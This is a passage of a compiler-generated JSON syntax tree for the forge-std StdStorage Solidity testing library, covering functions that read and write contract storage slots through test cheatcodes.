pointer"}},"id":9216,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16450:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"16445:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9214,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16437:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9213,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16437:7:8","typeDescriptions":{}}},"id":9217,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16437:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9210,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16424:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9211,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16427:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"16424:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":9218,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16424:32:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"16407:49:8"},{"assignments":[9221],"declarations":[{"constant":false,"id":9221,"mutability":"mutable","name":"valToSet","nameLocation":"16474:8:8","nodeType":"VariableDeclaration","scope":9284,"src":"16466:16:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9220,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16466:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9234,"initialValue":{"arguments":[{"id":9224,"name":"curVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9209,"src":"16520:6:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"arguments":[{"id":9227,"name":"set","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9098,"src":"16536:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":9226,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16528:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":9225,"name":"uint256","nodeType":"ElementaryTypeName","src":"16528:7:8","typeDescriptions":{}}},"id":9228,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16528:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":9229,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16542:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9230,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16547:10:8","memberName":"offsetLeft","nodeType":"MemberAccess","referencedDeclaration":7397,"src":"16542:15:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"expression":{"id":9231,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16559:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9232,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16564:11:8","memberName":"offsetRight","nodeType":"MemberAccess","referencedDeclaration":7399,"src":"16559:16:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":9222,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"16485:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9223,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16500:19:8","memberName":"getUpdatedSlotValue","nodeType":"MemberAccess","referencedDeclaration":8780,"src":"16485:34:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$_t_uint256_$_t_uint256_$_t_uint256_$returns$_t_bytes32_$","typeString":"function (bytes32,uint256,uint256,uint256) pure returns (bytes32)"}},"id":9233,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16485:91:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"16466:110:8"},{"expression":{"arguments":[{"id":9238,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"16596:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":9241,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16609:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9242,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16614:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"16609:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9240,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16601:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9239,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16601:7:8","typeDescriptions":{}}},"id":9243,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16601:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":9244,"name":"valToSet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9221,"src":"16621:8:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9235,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16587:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9237,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16590:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"16587:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":9245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16587:43:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9246,"nodeType":"ExpressionStatement","src":"16587:43:8"},{"assignments":[9248,9250],"declarations":[{"constant":false,"id":9248,"mutability":"mutable","name":"success","nameLocation":"16647:7:8","nodeType":"VariableDeclaration","scope":9284,"src":"16642:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9247,"name":"bool","nodeType":"ElementaryTypeName","src":"16642:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":9250,"mutability":"mutable","name":"callResult","nameLocation":"16664:10:8","nodeType":"VariableDeclaration","scope":9284,"src":"16656:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9249,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16656:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":9255,"initialValue":{"arguments":[{"id":9253,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"16704:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9251,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"16678:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16693:10:8","memberName":"callTarget","nodeType":"MemberAccess","referencedDeclaration":7552,"src":"16678:25:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) view returns (bool,bytes32)"}},"id":9254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16678:31:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$","typeString":"tuple(bool,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"16641:68:8"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":9261,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":9257,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"16724:8:8","subExpression":{"id":9256,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9248,"src":"16725:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":9260,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":9258,"name":"callResult","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9250,"src":"16736:10:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"id":9259,"name":"set","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9098,"src":"16750:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"16736:17:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"16724:29:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":9279,"nodeType":"IfStatement","src":"16720:176:8","trueBody":{"id":9278,"nodeType":"Block","src":"16755:141:8","statements":[{"expression":{"arguments":[{"id":9265,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9102,"src":"16778:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"expression":{"id":9268,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9148,"src":"16791:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":9269,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16796:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"16791:9:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":9267,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"16783:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":9266,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16783:7:8","typeDescriptions":{}}},"id":9270,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16783:18:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":9271,"name":"curVal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9209,"src":"16803:6:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":9262,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8798,"src":"16769:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":9264,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"16772:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"16769:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":9272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16769:41:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9273,"nodeType":"ExpressionStatement","src":"16769:41:8"},{"expression":{"arguments":[{"hexValue":"73746453746f726167652066696e642853746453746f72616765293a204661696c656420746f2077726974652076616c75652e","id":9275,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"16831:53:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_b553baf150cfdb312beff968f03edcd3b801a9113d8bc19cff4e03b1eab07b61","typeString":"literal_string \"stdStorage find(StdStorage): Failed to write value.\""},"value":"stdStorage find(StdStorage): Failed to write value."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b553baf150cfdb312beff968f03edcd3b801a9113d8bc19cff4e03b1eab07b61","typeString":"literal_string \"stdStorage find(StdStorage): Failed to write value.\""}],"id":9274,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"16824:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":9276,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16824:61:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9277,"nodeType":"ExpressionStatement","src":"16824:61:8"}]}},{"expression":{"arguments":[{"id":9281,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"16911:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":9280,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9015,"src":"16905:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":9282,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16905:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9283,"nodeType":"ExpressionStatement","src":"16905:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"15448:13:8","parameters":{"id":9099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9096,"mutability":"mutable","name":"self","nameLocation":"15481:4:8","nodeType":"VariableDeclaration","scope":9285,"src":"15462:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9095,"nodeType":"UserDefinedTypeName","pathNode":{"id":9094,"name":"StdStorage","nameLocations":["15462:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"15462:10:8"},"referencedDeclaration":7427,"src":"15462:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9098,"mutability":"mutable","name":"set","nameLocation":"15495:3:8","nodeType":"VariableDeclaration","scope":9285,"src":"15487:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9097,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15487:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"15461:38:8"},"returnParameters":{"id":9100,"nodeType":"ParameterList","parameters":[],"src":"15509:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9299,"nodeType":"FunctionDefinition","src":"16929:131:8","nodes":[],"body":{"id":9298,"nodeType":"Block","src":"17003:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9295,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9288,"src":"17048:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9293,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17020:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17035:12:8","memberName":"read_bytes32","nodeType":"MemberAccess","referencedDeclaration":8364,"src":"17020:27:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) returns (bytes32)"}},"id":9296,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17020:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":9292,"id":9297,"nodeType":"Return","src":"17013:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bytes32","nameLocation":"16938:12:8","parameters":{"id":9289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9288,"mutability":"mutable","name":"self","nameLocation":"16970:4:8","nodeType":"VariableDeclaration","scope":9299,"src":"16951:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9287,"nodeType":"UserDefinedTypeName","pathNode":{"id":9286,"name":"StdStorage","nameLocations":["16951:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"16951:10:8"},"referencedDeclaration":7427,"src":"16951:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"16950:25:8"},"returnParameters":{"id":9292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9291,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9299,"src":"16994:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9290,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16994:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"16993:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9313,"nodeType":"FunctionDefinition","src":"17066:122:8","nodes":[],"body":{"id":9312,"nodeType":"Block","src":"17134:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9309,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9302,"src":"17176:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9307,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17151:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9308,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17166:9:8","memberName":"read_bool","nodeType":"MemberAccess","referencedDeclaration":8395,"src":"17151:24:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$","typeString":"function (struct StdStorage storage pointer) returns (bool)"}},"id":9310,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17151:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":9306,"id":9311,"nodeType":"Return","src":"17144:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bool","nameLocation":"17075:9:8","parameters":{"id":9303,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9302,"mutability":"mutable","name":"self","nameLocation":"17104:4:8","nodeType":"VariableDeclaration","scope":9313,"src":"17085:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9301,"nodeType":"UserDefinedTypeName","pathNode":{"id":9300,"name":"StdStorage","nameLocations":["17085:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17085:10:8"},"referencedDeclaration":7427,"src":"17085:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17084:25:8"},"returnParameters":{"id":9306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9305,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9313,"src":"17128:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9304,"name":"bool","nodeType":"ElementaryTypeName","src":"17128:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17127:6:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9327,"nodeType":"FunctionDefinition","src":"17194:131:8","nodes":[],"body":{"id":9326,"nodeType":"Block","src":"17268:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9323,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9316,"src":"17313:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9321,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17285:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17300:12:8","memberName":"read_address","nodeType":"MemberAccess","referencedDeclaration":8414,"src":"17285:27:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_address_$","typeString":"function (struct StdStorage storage pointer) returns (address)"}},"id":9324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17285:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":9320,"id":9325,"nodeType":"Return","src":"17278:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_address","nameLocation":"17203:12:8","parameters":{"id":9317,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9316,"mutability":"mutable","name":"self","nameLocation":"17235:4:8","nodeType":"VariableDeclaration","scope":9327,"src":"17216:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9315,"nodeType":"UserDefinedTypeName","pathNode":{"id":9314,"name":"StdStorage","nameLocations":["17216:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17216:10:8"},"referencedDeclaration":7427,"src":"17216:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17215:25:8"},"returnParameters":{"id":9320,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9319,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9327,"src":"17259:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9318,"name":"address","nodeType":"ElementaryTypeName","src":"17259:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17258:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9341,"nodeType":"FunctionDefinition","src":"17331:125:8","nodes":[],"body":{"id":9340,"nodeType":"Block","src":"17402:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9337,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9330,"src":"17444:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9335,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17419:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17434:9:8","memberName":"read_uint","nodeType":"MemberAccess","referencedDeclaration":8433,"src":"17419:24:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer) returns 